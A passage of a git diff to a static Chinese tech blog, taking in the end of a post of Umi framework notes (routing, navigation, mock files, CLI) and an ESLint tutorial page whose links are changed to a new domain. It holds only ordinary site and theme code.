+</code></pre><p>redirect是跳转路由，当访问/的时候，跳转到/admin</p><hr><p>文件路由（根据目录和文件名来分析路由）</p><p>如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录</p><p>注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .js，.jsx，.ts或tsx文件，文件没有jsx元素的等等都不会被注册为路由</p><p>动态路由</p><p>使用[]包裹的路由将认为动态路由，例如：</p><pre><code>&quot;routes&quot;: [
+    {
+        &quot;path&quot;: &quot;/&quot;,
+        &quot;component&quot;: require('@/pages/index').default,
+        &quot;exact&quot;: true
+   },{
+        &quot;path&quot;: &quot;/:data/admin&quot;,
+        &quot;component&quot;: require('@/pages/[data]/admin').default,
+        &quot;exact&quot;: true
+    }
+]
+</code></pre><p>像[ $]的就是可选的，不是必须的</p><p>当目录下存在_layout.tsx的时候将生成嵌套路由</p><p>约定src/pages/404.tsx是404页面，要返回react组件，会默认生成路由，{ component: &lsquo;@/pages/404&rsquo; }</p><p>页面跳转一样分为声明式和命令式</p><p>和在react一样，通过to属性指定路径，例如：</p><pre><code>import { Link } from 'umi'
+export default () =&gt; (
+    &lt;Link to=&quot;/admin&quot;&gt;Go&lt;/Link&gt;
+)
+</code></pre><p>命令式</p><pre><code>import { history } from 'umi'
+function goPage() {
+    history.push('/list')
+}
+</code></pre><p>也是可以通过props.history.push()实现</p><p>umi约定如果存在src/pages/document.ejs文件，那么作为默认的模板</p><p>umi约定/mock文件夹下全部文件都为mock文件</p><p>支持数组和对象</p><p>例如：</p><pre><code>export default {
+    'GET /api/name': { name: [&quot;root&quot;, &quot;admin&quot;] },
+    '/api/id': { id: 123 },
+    'POST /api/users/create': (req, res) =&gt; {
+        res.setHeader('Access-Control-Allow-Origin', '*')
+        res.end('ok')
+    }
+}
+</code></pre><p>访问http://localhost:8000/api/name，可以获得{&ldquo;name&rdquo;:[&ldquo;root&rdquo;,&ldquo;admin&rdquo;]}，访问/api/id可以{&ldquo;id&rdquo;:123}</p><p>使用mock: false禁用当前mock文件</p><p>.env文件为环境变量配置文件，例如</p><p>PORT=3000</p><p>那么就会以3000端口启动服务</p><hr><p>###umi cli</p><p>umi build</p><p>umi dev</p><p>umi generate</p><p>umi plugin</p><p>umi help</p><p>umi version</p><p>umi webpack</p><hr><p>umi约定src/global.css为全局样式，如果存在这个文件，那么会自动引入</p><p>css模块化</p><p>import styles from &lsquo;./styles.css&rsquo;</p><p>umi内置less</p><hr><p>引入图片</p><p>&lt;img src={require(&rsquo;./img.jpg&rsquo;)} /></p><p>也是可以用@来指向src目录</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/umi/>Umi</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/111/><span class=title>« Prev</span><br><span>简单使用ESlint代码风格校验工具</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/109/><span class=title>Next »</span><br><span>简单了解并且使用npm script</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/111/index.html b/posts/111/index.html
index 59b15bf5..3b0cf0ca 100644
--- a/posts/111/index.html
+++ b/posts/111/index.html
@@ -14,8 +14,8 @@
 &ldquo;off&rdquo; or 0 ：关闭规则
 &ldquo;warn&rdquo; or 1 ：将规则视为一个警告
 &ldquo;error&rdquo; or 2 ：将规则视为一个错误
-可以设置规范，只能使用单引号，tab缩进等等编写规范"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/111/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用ESlint代码风格校验工具"><meta property="og:description" content="ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
+可以设置规范，只能使用单引号，tab缩进等等编写规范"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/111/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用ESlint代码风格校验工具"><meta property="og:description" content="ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
 安装ESlint
 npm install eslint &ndash;save-dev
 或者全局安装
@@ -31,7 +31,7 @@
 &ldquo;off&rdquo; or 0 ：关闭规则
 &ldquo;warn&rdquo; or 1 ：将规则视为一个警告
 &ldquo;error&rdquo; or 2 ：将规则视为一个错误
-可以设置规范，只能使用单引号，tab缩进等等编写规范"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/111/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-23T10:06:00+00:00"><meta property="article:modified_time" content="2021-09-23T10:06:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用ESlint代码风格校验工具"><meta name=twitter:description content="ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
+可以设置规范，只能使用单引号，tab缩进等等编写规范"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/111/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-23T10:06:00+00:00"><meta property="article:modified_time" content="2021-09-23T10:06:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用ESlint代码风格校验工具"><meta name=twitter:description content="ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
 安装ESlint
 npm install eslint &ndash;save-dev
 或者全局安装
@@ -47,9 +47,9 @@
 &ldquo;off&rdquo; or 0 ：关闭规则
 &ldquo;warn&rdquo; or 1 ：将规则视为一个警告
 &ldquo;error&rdquo; or 2 ：将规则视为一个错误
-可以设置规范，只能使用单引号，tab缩进等等编写规范"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用ESlint代码风格校验工具","item":"https://xiaochenabc123.github.io/posts/111/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用ESlint代码风格校验工具","name":"简单使用ESlint代码风格校验工具","description":"ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）\n安装ESlint\nnpm install eslint \u0026ndash;save-dev\n或者全局安装\nnpm install eslint \u0026ndash;global\n修改scripts属性（package.json）\u0026ndash;fix参数是ESlint提供的自动修复基础错误功能（不能修复逻辑性错误），如果不要也可以\n\u0026ldquo;lint\u0026rdquo;: \u0026ldquo;eslint src \u0026ndash;fix\u0026rdquo;, \u0026ldquo;lint:create\u0026rdquo;: \u0026ldquo;eslint \u0026ndash;init\u0026rdquo;\n创建.eslintrc\nnpm run lint:create\n会显示显示要求，例如是否校验ES6语法，首行空白是Tab键还是Space等等\n校验程序（根据上面的修改，会检查src目录下的所有.js文件）\nnpm run lint\n.eslintrc文件是ESlint校验配置文件，这个配置文件可以自己设置（或者手写手动修改），也可以复制别人的\n\u0026ldquo;off\u0026rdquo; or 0 ：关闭规则\n\u0026ldquo;warn\u0026rdquo; or 1 ：将规则视为一个警告\n\u0026ldquo;error\u0026rdquo; or 2 ：将规则视为一个错误\n可以设置规范，只能使用单引号，tab缩进等等编写规范","keywords":["ESlint"],"articleBody":"ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）\n安装ESlint\nnpm install eslint –save-dev\n或者全局安装\nnpm install eslint –global\n修改scripts属性（package.json）–fix参数是ESlint提供的自动修复基础错误功能（不能修复逻辑性错误），如果不要也可以\n“lint”: “eslint src –fix”, “lint:create”: “eslint –init”\n创建.eslintrc\nnpm run lint:create\n会显示显示要求，例如是否校验ES6语法，首行空白是Tab键还是Space等等\n校验程序（根据上面的修改，会检查src目录下的所有.js文件）\nnpm run lint\n.eslintrc文件是ESlint校验配置文件，这个配置文件可以自己设置（或者手写手动修改），也可以复制别人的\n“off” or 0 ：关闭规则\n“warn” or 1 ：将规则视为一个警告\n“error” or 2 ：将规则视为一个错误\n可以设置规范，只能使用单引号，tab缩进等等编写规范\n","wordCount":"42","inLanguage":"en","datePublished":"2021-09-23T10:06:00Z","dateModified":"2021-09-23T10:06:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/111/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用ESlint代码风格校验工具</h1><div class=post-meta><span title='2021-09-23 10:06:00 +0000 UTC'>2021-09-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8ESlint%e4%bb%a3%e7%a0%81%e9%a3%8e%e6%a0%bc%e6%a0%a1%e9%aa%8c%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）</p><p>安装ESlint</p><p>npm install eslint &ndash;save-dev</p><p>或者全局安装</p><p>npm install eslint &ndash;global</p><p>修改scripts属性（package.json）&ndash;fix参数是ESlint提供的自动修复基础错误功能（不能修复逻辑性错误），如果不要也可以</p><p>&ldquo;lint&rdquo;: &ldquo;eslint src &ndash;fix&rdquo;,
-&ldquo;lint:create&rdquo;: &ldquo;eslint &ndash;init&rdquo;</p><p>创建.eslintrc</p><p>npm run lint:create</p><p>会显示显示要求，例如是否校验ES6语法，首行空白是Tab键还是Space等等</p><p>校验程序（根据上面的修改，会检查src目录下的所有.js文件）</p><p>npm run lint</p><p>.eslintrc文件是ESlint校验配置文件，这个配置文件可以自己设置（或者手写手动修改），也可以复制别人的</p><p>&ldquo;off&rdquo; or 0 ：关闭规则</p><p>&ldquo;warn&rdquo; or 1 ：将规则视为一个警告</p><p>&ldquo;error&rdquo; or 2 ：将规则视为一个错误</p><p>可以设置规范，只能使用单引号，tab缩进等等编写规范</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/eslint/>ESlint</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/112/><span class=title>« Prev</span><br><span>简单使用Lerna多包管理工具</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/110/><span class=title>Next »</span><br><span>Umi框架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+可以设置规范，只能使用单引号，tab缩进等等编写规范"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用ESlint代码风格校验工具","item":"https://chenjunlinabc.github.io/posts/111/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用ESlint代码风格校验工具","name":"简单使用ESlint代码风格校验工具","description":"ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）\n安装ESlint\nnpm install eslint \u0026ndash;save-dev\n或者全局安装\nnpm install eslint \u0026ndash;global\n修改scripts属性（package.json）\u0026ndash;fix参数是ESlint提供的自动修复基础错误功能（不能修复逻辑性错误），如果不要也可以\n\u0026ldquo;lint\u0026rdquo;: \u0026ldquo;eslint src \u0026ndash;fix\u0026rdquo;, \u0026ldquo;lint:create\u0026rdquo;: \u0026ldquo;eslint \u0026ndash;init\u0026rdquo;\n创建.eslintrc\nnpm run lint:create\n会显示显示要求，例如是否校验ES6语法，首行空白是Tab键还是Space等等\n校验程序（根据上面的修改，会检查src目录下的所有.js文件）\nnpm run lint\n.eslintrc文件是ESlint校验配置文件，这个配置文件可以自己设置（或者手写手动修改），也可以复制别人的\n\u0026ldquo;off\u0026rdquo; or 0 ：关闭规则\n\u0026ldquo;warn\u0026rdquo; or 1 ：将规则视为一个警告\n\u0026ldquo;error\u0026rdquo; or 2 ：将规则视为一个错误\n可以设置规范，只能使用单引号，tab缩进等等编写规范","keywords":["ESlint"],"articleBody":"ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）\n安装ESlint\nnpm install eslint –save-dev\n或者全局安装\nnpm install eslint –global\n修改scripts属性（package.json）–fix参数是ESlint提供的自动修复基础错误功能（不能修复逻辑性错误），如果不要也可以\n“lint”: “eslint src –fix”, “lint:create”: “eslint –init”\n创建.eslintrc\nnpm run lint:create\n会显示显示要求，例如是否校验ES6语法，首行空白是Tab键还是Space等等\n校验程序（根据上面的修改，会检查src目录下的所有.js文件）\nnpm run lint\n.eslintrc文件是ESlint校验配置文件，这个配置文件可以自己设置（或者手写手动修改），也可以复制别人的\n“off” or 0 ：关闭规则\n“warn” or 1 ：将规则视为一个警告\n“error” or 2 ：将规则视为一个错误\n可以设置规范，只能使用单引号，tab缩进等等编写规范\n","wordCount":"42","inLanguage":"en","datePublished":"2021-09-23T10:06:00Z","dateModified":"2021-09-23T10:06:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/111/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用ESlint代码风格校验工具</h1><div class=post-meta><span title='2021-09-23 10:06:00 +0000 UTC'>2021-09-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8ESlint%e4%bb%a3%e7%a0%81%e9%a3%8e%e6%a0%bc%e6%a0%a1%e9%aa%8c%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）</p><p>安装ESlint</p><p>npm install eslint &ndash;save-dev</p><p>或者全局安装</p><p>npm install eslint &ndash;global</p><p>修改scripts属性（package.json）&ndash;fix参数是ESlint提供的自动修复基础错误功能（不能修复逻辑性错误），如果不要也可以</p><p>&ldquo;lint&rdquo;: &ldquo;eslint src &ndash;fix&rdquo;,
+&ldquo;lint:create&rdquo;: &ldquo;eslint &ndash;init&rdquo;</p><p>创建.eslintrc</p><p>npm run lint:create</p><p>会显示显示要求，例如是否校验ES6语法，首行空白是Tab键还是Space等等</p><p>校验程序（根据上面的修改，会检查src目录下的所有.js文件）</p><p>npm run lint</p><p>.eslintrc文件是ESlint校验配置文件，这个配置文件可以自己设置（或者手写手动修改），也可以复制别人的</p><p>&ldquo;off&rdquo; or 0 ：关闭规则</p><p>&ldquo;warn&rdquo; or 1 ：将规则视为一个警告</p><p>&ldquo;error&rdquo; or 2 ：将规则视为一个错误</p><p>可以设置规范，只能使用单引号，tab缩进等等编写规范</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/eslint/>ESlint</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/112/><span class=title>« Prev</span><br><span>简单使用Lerna多包管理工具</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/110/><span class=title>Next »</span><br><span>Umi框架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const 